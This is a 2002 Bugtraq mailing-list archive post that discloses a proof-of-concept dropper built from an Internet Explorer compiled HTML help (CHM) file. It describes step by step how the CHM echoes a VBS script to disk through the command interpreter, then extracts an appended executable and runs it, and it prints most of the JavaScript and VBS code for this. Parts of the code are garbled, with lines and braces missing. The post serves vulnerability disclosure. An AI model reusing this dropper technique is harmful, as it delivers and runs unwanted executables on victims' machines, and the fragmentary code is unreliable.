Home page logo

bugtraq logo Bugtraq mailing list archives

Re: HELP ! : Trojanised HTML: Internet Exporer 5 and 6 [technical exercise]
From: dzzie () yahoo com
Date: Fri, 8 Feb 2002 04:38:47 -0600

technical note: the possibility is excellent to repeat the entire 
process above directly inside the *.chm file and drop an *.exe from 
within the *.chm into the same Temporary Internet File. Using our 
Guninski scripting to determine the location of the *.chm and write 
that to the link parameter within it: value="'+path+'\\malware
[1].exe"> and execute it.

I made a proof of concept on a chm exe dropper a while back,
I guess nows a good enough time as any to release it...that 
command execution thing in a chm is really dangerous. A chm
is about the same as running an exe right now.

note this works from Internet Temp files directory as well, all 
someone has to do is choose the open option when they click a link
to a chm file, and they are done. 

I am not going to distribute a prepackaged example, no good could 
come of that.below is the html script that is capable of it. It is 
a sufficient enough process to assemble the package as to keep it 
out of the hands of the kids. 

I will email MS with a link to a working sample for them to examine.

also rember the mechanism for this exploit was exposed about a year
ago(?) so I am sure other things have been done with this and it is
still a viable hole.

flow of events

1) chm opens 
     a) determines absolute path current folder
     b) determines parent chm name (in case cached changes name)
     c) detects winNT or win98 to work on both

2) chm name is used to auto generate vbs script data
   abs path is used to auto generate html object data
   script writes dynamically generated content to window

3) first object activated programatically....vbs script is echoed 
   into existance into same folder as parent chm file

4) waits 1sec then activates echoed.vbs file...this vbs file
   reads the parent .chm and extracts a hello world exe that is
   appended onto the chm file. 

5) after exe is written to disk vbs script then activates it 

script below

msg='<center><h1> Holy Mackeral Batman !<br><br> I think he hath done it! <br><br> : )\\</h1></center>'

function getChmAbsPath(){
     return t.substring(t.indexOf(":",4)+1,t.lastIndexOf("\\")+1)

function getChmName(){
            t+= 'Chr(' + chmName.charCodeAt(i) + ')+'
        return t.substring(0,t.length-1);

function getInterpreter(){      
    if(navigator.userAgent.indexOf('NT') > 0){
       return 'cmd';
       return 'command';

    'set i=createobject(fso):'+
    'set o=createobject(fso):'+
    'set w=createobject(wsc):'+
    'infile=pf+' + getChmName() + ':'+
    'Set ii=i.OpenTextFile(infile):'+
    'Set oo=o.OpenTextFile(outfile,2,True):'+
    'ii.Read OFFSET:'+
    'While Not ii.AtEndOfStream:'+
    'oo.Write Chr(Asc(ii.Read(1))):'+
    'w.Run chr(34)+outfile+chr(34)'

hit='<OBJECT id=shortcut^ type="application/x-oleobject"  '+
    'classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" '+
    'codebase="hhctrl.ocx\#Version=4,72,8252,0" width=100 '+
    'height=100><PARAM name="Command" value="ShortCut">   '+
    '<PARAM name="Text" value="Text: ">                   '+
    '<PARAM name="Item1" value=\',*\'>                    '+
    '<PARAM name="Item2" value="273,1,1"></OBJECT>        '

scriptPath = getChmAbsPath() + 'echoed.vbs'

cmd=new Array
cmd[1]= getInterpreter() + ',/c echo ' + vbs + ' > "' + scriptPath + '"'
cmd[2]='wscript,"' + scriptPath + '"'

function replace(h,i,c){
        h = h.split('^').join(i).split('*').join(c)
    return h





  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]